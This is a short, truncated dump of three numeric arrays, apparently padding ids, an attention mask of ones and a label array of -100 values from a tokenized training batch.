[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...